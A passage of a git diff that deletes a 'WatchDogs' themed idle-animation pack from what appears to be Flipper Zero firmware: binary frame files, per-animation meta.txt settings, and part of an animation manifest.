9dcf86011..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_39.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_4.bm deleted file mode 100644 index a42df6263..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_40.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_40.bm deleted file mode 100644 index 919881709..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_40.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_41.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_41.bm deleted file mode 100644 index cee83c68a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_41.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_5.bm deleted file mode 100644 index d673c735e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_6.bm deleted file mode 100644 index ab0c9511d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_7.bm deleted file mode 100644 index 5996918a2..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_8.bm deleted file mode 100644 index 752841ad4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_9.bm deleted file mode 100644 index 33b1d3631..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/meta.txt deleted file mode 100644 index d3a51de2f..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 28 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_0.bm deleted file mode 100644 index 971683243..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_1.bm deleted file mode 100644 index 95479906b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_10.bm deleted file mode 100644 index 58575e8d0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_11.bm deleted file mode 100644 index d2fd05476..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_12.bm deleted file mode 100644 index ad76427f5..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_13.bm deleted file mode 100644 index c3469277a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_14.bm deleted file mode 100644 index 477aed5f1..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_15.bm deleted file mode 100644 index 57c0b36cd..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_16.bm deleted file mode 100644 index 8cf91760a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_17.bm deleted file mode 100644 index ee4024231..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_18.bm deleted file mode 100644 index 8c3b6eb3d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_19.bm deleted file mode 100644 index ffa9a7d96..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_2.bm deleted file mode 100644 index e4ca0bd0d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_20.bm deleted file mode 100644 index c979d35bb..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_21.bm deleted file mode 100644 index e270d6fcf..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_22.bm deleted file mode 100644 index 8e69e35e2..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_23.bm deleted file mode 100644 index 732d7e62b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_24.bm deleted file mode 100644 index 0044ffd38..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_25.bm deleted file mode 100644 index 82c4214c7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_26.bm deleted file mode 100644 index 7db1d43b4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_3.bm deleted file mode 100644 index 93122e7b2..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_4.bm deleted file mode 100644 index 9578a05ca..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_5.bm deleted file mode 100644 index 7f6c1aff0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_6.bm deleted file mode 100644 index aadc3728a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_7.bm deleted file mode 100644 index 3592d7004..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_8.bm deleted file mode 100644 index 4dc0cf0f0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_9.bm deleted file mode 100644 index dc812795f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/meta.txt deleted file mode 100644 index 1ca66ff13..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 27 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_0.bm deleted file mode 100644 index 4e85158ce..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_1.bm deleted file mode 100644 index ab39152e3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_10.bm deleted file mode 100644 index f577ce970..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_11.bm deleted file mode 100644 index 01a8f7b36..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_12.bm deleted file mode 100644 index 905fa2ca7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_13.bm deleted file mode 100644 index 65880dc89..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_14.bm deleted file mode 100644 index 35cc23558..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_15.bm deleted file mode 100644 index 960b1bd69..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_16.bm deleted file mode 100644 index 314b6399a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_17.bm deleted file mode 100644 index 14e0603b5..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_18.bm deleted file mode 100644 index f0d6bb772..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_2.bm deleted file mode 100644 index 422e93754..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_3.bm deleted file mode 100644 index 6c1060c0b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_4.bm deleted file mode 100644 index e25e784d9..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_5.bm deleted file mode 100644 index 569a5763d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_6.bm deleted file mode 100644 index b1ee630fb..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_7.bm deleted file mode 100644 index 815067c7e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_8.bm deleted file mode 100644 index 87e06e151..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_9.bm deleted file mode 100644 index d31525b44..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/meta.txt deleted file mode 100644 index 53f5a9ef3..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 19 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_0.bm deleted file mode 100644 index 91f8a999c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_1.bm deleted file mode 100644 index 4b87fe290..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_10.bm deleted file mode 100644 index 7419da504..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_11.bm deleted file mode 100644 index c26e7a401..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_12.bm deleted file mode 100644 index c82f73459..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_13.bm deleted file mode 100644 index 48b89c616..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_14.bm deleted file mode 100644 index a1324f035..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_15.bm deleted file mode 100644 index 9eb53dc3c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_16.bm deleted file mode 100644 index 75930f412..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_17.bm deleted file mode 100644 index 57d647faa..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_18.bm deleted file mode 100644 index d28a84762..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_19.bm deleted file mode 100644 index 9ee10bad6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_2.bm deleted file mode 100644 index 8ea8a8fd6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_20.bm deleted file mode 100644 index d5088dcb6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_21.bm deleted file mode 100644 index eae8629fd..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_22.bm deleted file mode 100644 index 19e553a62..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_23.bm deleted file mode 100644 index 0626d2e98..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_3.bm deleted file mode 100644 index 03dba1ff0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_4.bm deleted file mode 100644 index 44b6efaad..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_5.bm deleted file mode 100644 index 0b30ad816..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_6.bm deleted file mode 100644 index 6d5564f7c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_7.bm deleted file mode 100644 index 183726774..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_8.bm deleted file mode 100644 index 91f09a3c8..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_9.bm deleted file mode 100644 index cf4ffc443..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/meta.txt deleted file mode 100644 index 81cc6c7d9..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 24 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/manifest.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/manifest.txt deleted file mode 100644 index 5e82ab29c..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/manifest.txt +++ /dev/null @@ -1,142 +0,0 @@ -Filetype: Flipper Animation Manifest -Version: 1 - -Name: BOTTY_CALL -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: DEDSEC_AD -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: DEDSEC_ANIM -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: DEDSEC_ASCII -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: DEDSEC_LOGO -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: DEDSEC_OLD -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: DEDSEC_TALK -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: DEDSEC_WAVE -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: FINGER -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: GUNS_CAR -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: HANDS -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: JOIN_US -Min butthurt: 0 -Max butthurt: 18 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: LOGO_WD2 -Min butthurt: 0 -Max butthurt: 18 